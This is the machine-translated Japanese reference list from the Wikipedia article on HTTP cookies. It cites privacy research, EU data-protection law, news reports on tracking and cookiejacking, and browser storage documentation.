  80. ^ a b c d Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (2020年4月21日). 「GDPR後のダークパターン：同意ポップアップのスクレイピングとその影響の実証」 . 2020 CHI Conference on Human Factors in Computing Systems の議事録. Chi '20. ホノルル, HI USA: ACM. pp.  1– 13. arXiv : 2001.02479 . doi : 10.1145/3313831.3376321 . hdl : 1721.1/129999 . ISBN 978-1-4503-6708-0. S2CID  210064317 .
  81. ^ a b “EUR-Lex - 32016R0679 - EN - EUR-Lex” . eur-lex.europa.eu . 2021年6月6日閲覧。
  82. ^ a b情報コミッショナー事務局 (2019).アドテックとリアルタイム入札に関する最新報告書(PDF) . 2021年5月13日時点のオリジナルよりアーカイブ(PDF) 。
  83. ^ "Délibération n° 2019-093 du 4 juillet 2019 portant Adoption de lignes directrices親戚 à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations delecture ou écriture dans le Terminal d'un utilisateur (notamment aux cookies et autres)トレーサー) (修正)」。www.legifrance.gouv.fr 。2021 年6 月 6 日に取得。
  84. ^ “EUR-Lex - 62017CC0040 - EN - EUR-Lex” . eur-lex.europa.eu . 2021年6月6日閲覧。
  85. ^ 「EUのクッキー法：愚痴はやめて、ただそれを実行に移そう」 Wired UK 2012年5月24日オリジナルより2012年11月15日時点のアーカイブ。 2012年10月31日閲覧。
  86. ^カンパノス、ゲオルギオス; シャハンダシュティ、シアマク F. (2021). 「すべて受け入れる：ギリシャと英国におけるクッキーバナーの現状」. ICTシステムのセキュリティとプライバシー保護. IFIP 情報通信技術の進歩. 第625巻. シュプリンガー・インターナショナル・パブリッシング. pp.  213– 227. arXiv : 2104.05750 . doi : 10.1007/978-3-030-78120-0_14 . ISBN 978-3-030-78119-4. ISSN  1868-4238 . S2CID  233219491 .
  87. ^ Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.) 「GDPRにおける同意管理プラットフォーム：処理者と管理者は？」『プライバシー技術とポリシー』 Lecture Notes in Computer Science, vol. 12703, Cham: Springer International Publishing, pp.  47– 69, arXiv : 2104.06861 , doi : 10.1007/978-3-030-76663-4_3 , ISBN 978-3-030-76662-7, S2CID  233231428 , 2021年6月6日閲覧{{citation}}: CS1 maint: ISBNによる作業パラメータ（リンク）
  88. ^ 「P3P: プライバシー設定のためのプラットフォーム」 W3C 2021年10月15日閲覧。
  89. ^ Zuiderveen Borgesius, FJ; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). 「トラッキングウォール、Take-It-Or-Leave-Itの選択肢、GDPR、そしてeプライバシー規制」 .欧州データ保護法レビュー. 3 (3): 353– 368. arXiv : 2510.25339 . doi : 10.21552/edpl/2017/3/9 . hdl : 11245.1/dfb59b54-0544-4c65-815a-640eae10668a .
  90. ^ 「規則2016/679に基づく同意に関するガイドライン05/2020 | 欧州データ保護委員会」edpb.europa.eu . 2021年6月6日閲覧。
  91. ^ 「クッキーが通り抜けられるほど大きな抜け穴」Bits . The New York Times. 2010年9月17日. 2013年1月26日時点のオリジナルよりアーカイブ。2013年1月31日閲覧。
  92. ^ Pegoraro, Rob (2005年7月17日). 「トラッキングCookieをブロックする方法」 . Washington Post . p. F07. 2011年4月27日時点のオリジナルよりアーカイブ。2009年1月4日閲覧。
  93. ^ Claburn, Thomas. 「あなたのゲームのCNAMEは何ですか？このDNSベースの追跡はブラウザのプライバシー防御を無視します」 www.theregister.comサンフランシスコ2021年6月6日閲覧。
  94. ^ Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (2021年3月5日). 「ゲームのCNAME：DNSベースのトラッキング回避の大規模分析」. arXiv : 2102.09301 [ cs.CR ].
  95. ^ Zetter, Kim (2011年3月23日). 「ハッカーが著名なウェブサイトの9つの偽証明書を入手、イランに由来か - 脅威レベル - Wired.com」 .脅威レベル. 2014年3月26日時点のオリジナルよりアーカイブ。
  96. ^ a b cフィンクル、ジム（2011年5月25日）「マイクロソフトの最新のセキュリティリスク：『Cookiejacking』」ロイター。 2011年5月30日時点のオリジナルよりアーカイブ。2011年5月26日閲覧。
  97. ^ Whitney, Lance (2011年5月26日). 「セキュリティ研究者、IEに『クッキージャッキング』の危険性を発見」 . CNET . 2011年6月14日時点のオリジナルよりアーカイブ。 2019年9月6日閲覧。
  98. ^ Fielding, Roy (2000). 「Fielding博士論文：第6章：経験と評価」 . 2011年4月27日時点のオリジナルよりアーカイブ。2010年10月14日閲覧。
  99. ^ Tilkov, Stefan (2008年7月2日). 「RESTアンチパターン」 . InfoQ. 2008年12月23日時点のオリジナルよりアーカイブ。2009年1月4日閲覧。
  100. ^ Hoffman, Chris (2016年9月28日). 「ブラウザCookieとは？」 How -To Geek . 2021年4月3日閲覧。
  101. ^ "BrowserSpy" . gemal.dk. 2008年9月26日時点のオリジナルよりアーカイブ。2010年1月28日閲覧。
  102. ^ 「IEの「デフォルトの動作」ブラウザ情報漏洩テスト：clientCaps」 Mypage.direct.ca. 2011年6月5日時点のオリジナルよりアーカイブ。 2010年1月28日閲覧。
  103. ^ Eckersley, Peter (2010年5月17日). 「あなたのウェブブラウザはどれくらいユニークか？」(PDF) . eff.org . 電子フロンティア財団. 2014年10月15日時点のオリジナル(PDF)からアーカイブ。 2014年7月23日閲覧。
  104. ^ “Window.sessionStorage, Web APIs | MDN” . developer.mozilla.org . 2015年9月28日時点のオリジナルよりアーカイブ。2015年10月2日閲覧。
  105. ^ 「永続性の紹介」 . microsoft.com . Microsoft. 2015年1月11日時点のオリジナルよりアーカイブ。2014年10月9日閲覧。
  106. ^ 「Isolated Storage」 . Microsoft.com . 2014年12月16日時点のオリジナルよりアーカイブ。2014年10月9日閲覧。

出典

  • Anonymous, 2011. 「Cookiejacking攻撃がウェブサイトのアクセス認証情報を盗む」Informationweek - Online、pp. 2011年5月26日。
ウィキメディア コモンズには、 HTTP クッキーに関連するメディアがあります。
「 https://en.wikipedia.org/w/index.php?title=HTTP_cookie&oldid=1332255732」から取得